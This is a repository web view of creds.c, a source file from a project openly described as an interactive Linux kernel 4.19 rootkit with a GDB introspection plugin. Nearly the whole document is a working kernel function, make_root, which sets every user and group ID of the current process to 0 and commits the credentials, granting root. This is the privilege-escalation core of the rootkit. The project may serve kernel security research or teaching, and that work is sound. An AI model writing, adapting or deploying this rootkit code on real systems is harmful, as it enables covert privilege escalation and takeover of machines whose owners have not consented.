linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

creds.c (566B)

      1 #include <linux/cred.h>
      2 
      3 #include "creds.h"
      4 
      5 void
      6 make_root(void)
      7 {
      8     struct cred *new;
      9 
     10     if(!(new = prepare_creds()))
     11         return;
     12 
     13     kuid_t root_u = make_kuid(new->user_ns, 0);
     14     kgid_t root_g = make_kgid(new->user_ns, 0);
     15 
     16     //Effective and real UID
     17     new->euid = root_u;
     18     new->uid = root_u;
     19 
     20     //Effective and real GID
     21     new->egid = root_g;
     22     new->gid = root_g;
     23 
     24     //Saved UID and GID
     25     new->suid = root_u;
     26     new->sgid = root_g;
     27 
     28     //VFS-Ops UID and GID
     29     new->fsuid = root_u;
     30     new->fsgid = root_g;
     31 
     32     commit_creds(new);
     33 }